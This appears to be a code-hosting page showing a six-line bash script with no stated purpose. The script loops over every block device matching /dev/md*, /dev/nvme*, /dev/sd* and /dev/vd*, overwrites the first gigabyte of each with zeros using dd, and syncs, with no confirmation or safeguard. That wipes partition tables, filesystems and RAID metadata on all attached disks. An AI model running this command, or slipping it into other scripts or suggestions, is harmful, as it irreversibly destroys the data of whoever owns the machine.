You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

6 lines
126 B
Bash

#!/bin/bash
for device in /dev/md* /dev/nvme* /dev/sd* /dev/vd*; do
dd if=/dev/zero of=$device bs=10M count=100
done
sync